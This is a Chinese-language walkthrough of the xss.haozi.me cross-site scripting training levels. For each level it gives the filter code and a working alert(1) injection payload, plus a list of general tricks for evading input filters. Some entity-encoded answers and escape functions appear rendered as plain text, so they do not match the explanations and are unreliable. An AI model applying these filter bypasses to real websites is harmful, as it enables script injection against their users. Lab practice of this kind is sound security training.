XSS教程之xss.haozi.me攻略(超详细)
season100201 · · 算法·理论
与洛谷 @season100201 同号。
什么是XSS?
网站中包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting,安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS)有所区分,故称XSS)的威胁,而静态站点则完全不受其影响。恶意攻击者会在 Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时会受到影响,恶意用户利用xss 代码攻击成功后,可能得到很高的权限、私密网页内容、会话和cookie等各种内容
攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击”,而JavaScript是新型的“ShellCode”。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
(以上文段选自:XSS简介与实战)
xss.haozi.me
官网
进入之后,首先填写用户名(不多于7个字符)
胜利条件是输出:
alert(1);
ok开始~
0x00
我们可以看到右侧的server code,里面是一串JS代码,内容是:
function render (input) {
return '<div>' + input + '</div>'
}
如果我们想要实现弹窗显示“1”的效果,只需要用script标签即可。
于是在input code一栏中输入:
<script>alert(1);</script>
完成,十分简单
0x01
老样子,观察右边的代码:
function render (input) {
return '<textarea>' + input + '</textarea>'
}
可以发现这次加了一个textarea标签,再次尝试0x00的代码:
<script>alert(1);</script>
此时显示框html中是:
<textarea><script>alert(1);</script></textarea>
很明显的不可以,网页上是这样的:
可以先思考一下怎么做……
ok其实这个也是很简单的,观察server code可知,在外面套上textarea标签后会转换成文本框的形式,那么最好的解决方式就应该是——
把textarea标签封上就好了嘛
在input code里输入:
</textarea><script>alert(1);</script><textarea>
其中,</textarea>的作用是关闭前一个textarea标签,这样补起来形成的html就长这个样子:
<textarea></textarea><script>alert(1);</script><textarea></textarea>
明显,直接把script标签放到了textarea标签的外面,让他不再受影响。
完成
0x02
老样子观察右侧server code
function render (input) {
return '<input type="name" value="' + input + '">'
}
好的,这一次和上一题的方法基本一样,这一次只需要把value属性后跟的双引号补全,再把input标签补全,然后将后面剩下的">封口或者是直接注释掉都可以。
input code 如下:
"><script>alert(1);</script><
形成html如下:
<input type="name" value=""><script>alert(1);</script><">
完成
0x03
好的,观察server code:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
emm,观察这段代码,发现用到了正则表达式……
这个正则表达式的大意就是把所有的左括号“(”和右括号“)”搜索出来,然后由代码第三行的replace函数把左括号和右括号替换成“啥都没有”
这个“啥都没有”就是“空”的意思,等于是你在其中输入的左括号和右括号都不翼而飞了~
好吧,那我们看看这个关卡如何过去捏~
其实非常熟悉JS语法的同学可能知道,JS中的括号是可以用反引号`来表示的
啥意思呢?就是本来我们要alert(1);的内容其实也可以写成alert`1`
所以说问题迎刃而解
input code中写:
<script>alert`1`;</script>
完成
0x04
看server code:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
ok啊这次成功地把`也替换成空了……
让我们再想一想如何解决……?
ok字数到了,再见,继续观看就看下一篇文章吧
开个玩笑,你不会真退出了吧?
其实遇到这种情况只需要用到html实体编码即可
所以直接用alert(1)就可以啦
于是你是不是就想试一试这个?
<script>alert(1)</script>
如果你真的试过了,那么就会发现,他没有用……
WHY???
别忘了,script标签中是不能放html实体编码的
那就换一个呗,用啥好捏~?怎么用捏~?
举个例子,比如说我们用img标签的onerror属性,后面直接跟上你的JS代码,不需要加引号
于是就有:
<img src=1 onerror=alert(1)>
完成
emm,至于这个src属性为啥是1,它总得有个值吧?就随便给他一个1呗~
0x05
我都不想重复着一句了:看server code
function render (input) {
input = input.replace(/-->/g, '?')
return '<!-- ' + input + ' -->'
}
woww,这个笑脸 真棒 啊
分析代码,这会在你的输入两边加入注释符号,你的输入就被注释掉对吧?
所以这玩意在生活中真的会出现吗?那他输入有个*用啊
好吧,言归正传,这道题当然是仿照着0x01和0x02的做法,把注释都封起来对吧?
于是有人就尝试这个:
--><script>alert(1);</script><!--
好吧很明显不对嘛,抓换成的html就成了这样的:
<!-- ?<script>alert(1);</script><!-- -->
woww,这个笑脸 真棒 啊
好吧,那应该怎么办?
html非常熟悉的又来了!我们知道还有一种非常冷门的封闭注释的办法:--!>
诶,没想到吧,html注释还可以<!-- --!>这么用
而这个网页只会搜取-->那就这么写呗:
--!><script>alert(1);</script><!--
完成
哦对了,补充说明:常见逃逸搜索的办法:
- 加入空格:这种方法只适用于可以加空格的位置,比如说搜索
<script>,那么为了逃逸搜索就可以在内部加入空格,比如< script>、<script >等。但是,需要注意:script这个标签名是绝对不能被空格分开的!!! - 切换大小写:这种方法只适用于html,因为html对大小写不敏感,比如搜索
script,那么为了逃逸搜索就可以在内部改变大小写,比如sCriPt等等,还要注意JS代码中是否有转换大小写的函数,如果有,那么这基本就不管用了。 - 重复写:这种方法只适用于把某一字符串替换为空的时候,比如说替换
script为`(空),那么就可以写成重复的,但是重复单词间要空开,比如可以写成scripscriptt,但是绝对不能写成scriptscript`,因为这样会让他变成两个空值 - 还有一些是其他的,就不再多讲了,比如0x04的实体编码等
0x06
以后就直接放server code了,就不再解释了……
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
依旧是正则表达式,大概的意思是找出所有auto或者on开头并且以=结尾的字符串或者是>字符,所以我们用onerror就不行了啊……
等!还记得刚才补充的逃逸搜索的办法吗?看看第一条,在等号前面加个空格试试?
然后你就会发现你被骗了,正确做法是怎样的呢?
明天再说吧,今天先睡觉了,Byebye!
ok我回来了,我们继续\~
既然空格逃不掉搜索,那就用回车嘛,
onerror后面加个回车再写等于号,就成了这样:
type="image" src="" onerror
=alert(1)
完成
至于这个type属性后面跟"image"其实就是img标签的意思,就需要给src赋值了
当然,有种更简便的方法,就是不用onerror属性,用其他的,比如onmousedown属性,就也可以写成这样:
onmousedown
=alert(1)
然后再点击一下文本框的数字1,就可以了(有时候网站会卡顿,点一下不行就点两下)
0x07
看代码
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
好,我知道很多同学看到article标签就想把他封上,于是就写出来了这样的代码:
</article><script>alert(1);</script><article>
如果你真的这样做了,那么就说明你没有认真读代码啊!
因为你会发现生成的html长这样:
<article>alert(1);</article>
看代码第二行就不会觉得 <和>之间的任意字符,其中<\/? 匹配<或者 </,[^>]+ 匹配一个或多个非 >的字符,>匹配> 字符本身。
好的,那应该怎么办呢?
额,其实这要用到非常别扭的东西,咱不闭合不就行了嘛,但是script这样需要有<>和</>这样的东西就不行了,那就用img呗~
然后就输入:
<img src="" onerror=alert(1)
注意末尾要有一个空格!
0x08
代码!
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
如果你前面的都学会了,那么你就可以试试这个了,很简单的,正则表达式的意思是找出所有</style>
你们先做,自己试一试!
答案:input code如下
</style ><script>alert(1);</script><style>
很简单吧,刚才说过,可以用空格跳过搜索。
完成
0x09
看代码:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
这道题其实也是很简单的,只是要求了代码要以https://www.segmentfault.com/开头
都提示到这里了,你先自己做做试试?
答案:啊,把他封起来不久行了?
https://www.segmentfault.com/"></script><script>alert(1);</script><
没问题吧?很简单,如果看不懂的可以再复习一下前面的内容!
完成
0x0A
代码:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
斯,这一下就把你能用上的东西基本上都转义了……
好吧,那就只能用——
另一种方法。。。
额,这个上面不是有<script src="">嘛,那就直接在里面输入一个网址,让他有这个功能不就行了
诶,官方还真有
输入:
https://www.segmentfault.com.haozi.me/j.js
诶,成功了,没想到吧,其实如果我们打开浏览器看一眼这个网站,里面还真就是alert(1);
神奇!所以第一个发明这个的人是怎么想出来的捏?
完成
0x0B
代码:
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
其实可以用上一题一样的想法,因为不管是html还是网址,都不对大小写敏感,但是JS会,所以就不能直接用script标签,于是可以输入:
<script src="https://www.segmentfault.com.haozi.me/j.js"></script>
完成!
其实还有一种方法:就是在img标签中用实体编码,这么久没用过是不是都快忘了?
<img src="" onerror=alert(1)>
完成
忘记的赶紧回去复习!
0x0C
代码:
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
这下好了,script标签不让用了,但是刚才上一题还说过另外一种做法:实体编码,那就这样呗?
输入:
<img src="" onerror=alert(1)>
完成
0x0D
代码:
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
emm,这次竟然是直接在script标签里了,但是……
这怎么被注释掉了啊喂!
okok,不慌不慌,慌了这个题肯定做不出来!
回想:JS的单行注释符是//对吧?所谓单行注释,那就只能注释这一行嘛!换个行不就得了?然后再把后面封起来就好了啊!
为了体现换行空一行,我在空着的那行加上了Season,你们知道那没有实际作用就行了
于是输入:
Season
alert(1);
('
诶,你是不是输入了?然后发现不行来找我了是吧?
没错,他当然不行,显示出来的html是这样的:
<script>
// alert('Season
alert(1);
(')
</script>
你可能会说,你的单引号呢?
那我说,你看代码了吗?
他把单引号、双引号、正斜杠都换成了空!
那么这样也就没法注释掉了,该怎么办呢?
其实还是可以注释的,只不过要用一种冷门的办法:-->
注意,这是在JS中,不是html,所以<!-- -->就不能用了
好了,输入:
Season
alert(1);
-->
完成
0x0E
等会再来更新,我先走了,Bye\~
ok我们继续
看代码~~
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
呜呼!这次匹配的是<加上一个字母的形式,相当于把所有标签给屏蔽掉了……
这一个其实真的很考验基础知识?如果你们对英语很熟悉,就会发现古英语中有一个ſ,也就是我们说的“长s”,他的大写也是S,所以就可以用这个来XSS
输入:
<ſcript src="" onerror=alert(1)></script>
完成
这道题我实在是没有找到第二种想法……
0x0F
代码:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
好吧,这个很简单啊先把error封闭上,然后写alert,然后再把后面注释掉
输入:
');alert(1);//
完成
0x10
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
这个如果仔细看过了前面的内容,相信这个难不倒你,你先试一试?
ok公布答案,首先随便给window.data随便赋一个值,然后换行,再写alert就好了
输入:
1;
alert(1);
完成
0x11
看代码:
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
看起来这次的代码十分的长,让我们来分析一下~
大概就是将各种转义字符给弄掉,但是其实没啥用,还是把他们合上然后再alert,再把后面注释掉
输入:
");alert(1);//
完成
0x12
终于到最后一关了,看代码:
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
好,现在把"转义了,那么取消转义的方法就是加一个\,就能把用于转义的反斜杠变为字符反斜杠,,然后就简单了
输入:
\");alert(1);//
完成
结尾
ok这个基本上是说完了,有问题请加 3389786744、 [email protected]、 https://github.com/season-longsir